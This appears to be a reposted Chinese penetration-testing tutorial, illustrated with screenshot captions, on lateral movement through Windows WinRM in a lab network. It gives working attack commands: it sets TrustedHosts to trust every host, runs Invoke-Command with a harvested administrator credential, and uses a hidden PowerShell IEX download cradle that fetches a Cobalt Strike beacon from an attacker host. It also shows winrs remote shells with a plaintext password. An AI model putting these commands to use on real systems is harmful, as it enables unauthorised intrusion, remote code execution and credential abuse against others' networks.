winRM横向移动

winRM横向移动_第1张图片

0x01 winRM简介

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境

0x02 利用条件

1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。

0x03 通过winRM横向移动

一、查看本地和目标是否开放winRM服务

1、查看本地是否运行winRM服务。

netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

winRM横向移动_第2张图片

2、查看目标是否运行winRM服务。

nmap -sV 192.168.3.73 -p5985,5986

winRM横向移动_第3张图片
3、查看目标机器的winRM服务是否工作正常,如图所示为正常。

powershell -exec bypass
Test-WsMan 192.168.3.73

winRM横向移动_第4张图片

二、通过winRM在目标主机上执行任意命令

命令执行
1、在第一次执行命令的时候,可能会报下列错误。
winRM横向移动_第5张图片
这时我们执行下列两条命令,将当前主机的trustedhosts设置为*,表示信任任意主机,之后重启winRM。

Set-Item WSMan:localhost\client\trustedhosts -value *
Restart-Service WinRM

winRM横向移动_第6张图片

2、设置完成后执行下列命令,输入之前收集到的密码。

Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { ipconfig } -credential administrator

winRM横向移动_第7张图片
命令执行成功。
winRM横向移动_第8张图片

3、直接执行cs payload,弹回一个cs beacon。

Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))" } -credential administrator

在这里插入图片描述
cs成功接收到会话。
在这里插入图片描述

反弹shell
1、通过Enter-PSSession直接弹回一个cmd shell。

Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator

winRM横向移动_第9张图片
反弹shell成功。
winRM横向移动_第10张图片

三、Windows内置工具winrs的使用

命令执行

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"

winRM横向移动_第11张图片

反弹shell

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"

winRM横向移动_第12张图片

你可能感兴趣的:(内网渗透-横向移动)